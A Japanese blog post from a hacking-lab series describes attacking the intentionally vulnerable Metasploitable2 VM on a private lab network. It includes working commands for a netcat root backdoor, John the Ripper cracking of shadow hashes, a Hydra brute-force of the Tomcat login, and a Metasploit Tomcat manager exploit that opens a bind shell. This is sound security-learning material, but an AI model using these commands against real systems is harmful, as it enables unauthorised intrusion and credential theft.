LoginSignup
0
1

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる 7 Metasploitable2をハッキングする4 バックドアの利用とHTTP認証

Last updated at Posted at 2022-05-08

はじめに

この記事は、「ハッキング・ラボのつくりかた」P.384-393を参考にしています。
バックドアの確認とhttp認証の解析を行っていきます。

以前書いた記事で、「Metasploitable root shellからは脆弱性を見つけることができなかった」と書きました。しかし、同書では、「かなり怪しい」、「名前から誰かにすでに侵入されており、バックドア(ルート権限のシェル)が設置されていると推測できます。」としています。
これは、すでに設けられたバックドアとのこと。
確認してみます。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

バックドアの確認

Metasploitable root shellのポート番号1524のサービス名を確認する。

nmap -p 1524 192.168.56.5
#または
nmap -p1524 192.168.56.5

ingreslockと出力された。Wikipediaによれば、「商用サポートのある、オープンソースの関係データベース管理システム」とのこと。
VirtualBox_kali-linux-2022.1-ingreslock.png
とりあえず、Netcatで接続してみる。

nc 192.168.56.5 1524

すると、root権限でアクセスが可能。たしかにバックドアだった。

shadowファイルからパスワードを復号化する

nc 192.168.56.5 1524でアクセスできたついでに、Metasploitable2のパスワードを窃取したい。
パスワードは、"/etc/shadow"というテキストファイルにハッシュ化された状態で保存されている。このファイルは、shadowグループのユーザが読み込みが可能で、rootユーザだけが読み書きできる。
同書では、rootとmsfadminアカウントのパスワードの解析を行っている。
今回、わたしは、すべてのアカウントのパスワードの解析に挑戦した。

辞書攻撃では、klog,sys,serviceのアカウントのパスワードが判明した。

john --wordlist=/usr/share/john/password.lst metasploitable_passwd.lst
ユーザー名 パスワード
klong 123456789
sys batman
service service

総当り攻撃は、非常に時間がかかるので、途中で打ち切った。結局、newuserのアカウントのパスワードしか判明しなかった。

john --incremental metasploitable_passwd.lst
ユーザー名 パスワード
newuser nn

HydraでHTTPの認証を解析する

Firefoxに"http://192.168.56.5:8180/admin/"と入力して、Tomcatの画面を開く。
wiresharkでパケットを収集しつつ、適当なユーザー名とパスワードでTomcatにログインしようとすると、同書のP.388のようなパケット情報が入手できた。
パケットの情報の中で、Hydraに必要なものは以下の通り

  • やられマシンのIPアドレス : 192.168.56.5
  • 認証ページ" : "/admin/j_security_check"
  • データの送信方式 : POSTメソッド http-form-post
  • ユーザー名変数 : j_username
  • パスワード変数 : j_password

httpは、認証を前提としたプロトコルではない。すべてのwebページが、ユーザー名とパスワードで認証を要求するとは限らないことからもわかる。webページ作成者が指定したhttp応答の内容で判断する必要がある。
今回は、ユーザー名もパスワードも不明。認証が失敗したときに、http応答がどのようになるのかは攻撃側からもわかる。
hydraでhttpの認証を解析するときは、認証が失敗したときのメッセージを指定する。
コマンドを実行する

hydra -L user.lst -P pass.lst -s 8180 192.168.56.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"

VirtualBox_kali-linux-2022.1-tomcat1.png

次のように指定すると、正しいTomcatのアカウント情報以外に、Metasploitable2に保存されているユーザー名やパスワードが無秩序に出力される。

hydra -L user.lst -P pass.lst -s 8180 192.168.56.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:ユーザ名またはパスワードが違います"

VirtualBox_kali-linux-2022.1-tomcat2.png
直接の役には立たないが、アカウントをハッキングする参考にはなるかも。

tomcat経由でシェルを奪取

Metasploitのモジュールでシェルを奪取する。

msf >
use exploit/multi/http/tomcat_mgr_upload
set target 2
set payload linux/x86/shell_bind_tcp
set httpusername tomcat
set httppassword tomcat
set rhost 192.168.56.5
set rport 8180
show options
exploit

show optionsで下記の通りになっているか確認したあと、exploitで実行する。

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  tomcat           no        The password for the specified use
                                            rname
   HttpUsername  tomcat           no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:
                                            port[,type:host:port][...]
   RHOSTS        192.168.56.5     yes       The target host(s), see https://gi
                                            thub.com/rapid7/metasploit-framewo
                                            rk/wiki/Using-Metasploit
   RPORT         8180             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing con
                                            nections
   TARGETURI     /manager         yes       The URI path of the manager app (/
                                            html/upload and /undeploy will be
                                            used)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x86/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.56.5     no        The target address


Exploit target:

   Id  Name
   --  ----
   2   Linux x86

無事、exploitできた。
Apache Tomcat Manager - Application Deployer (Authenticated) Code Execution (Metasploit) に、報告されている脆弱性を悪用したモジュールを利用した。

終わりに

参考にしたもの
「ハッキング・ラボのつくりかた」(OPUSIRON著)

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1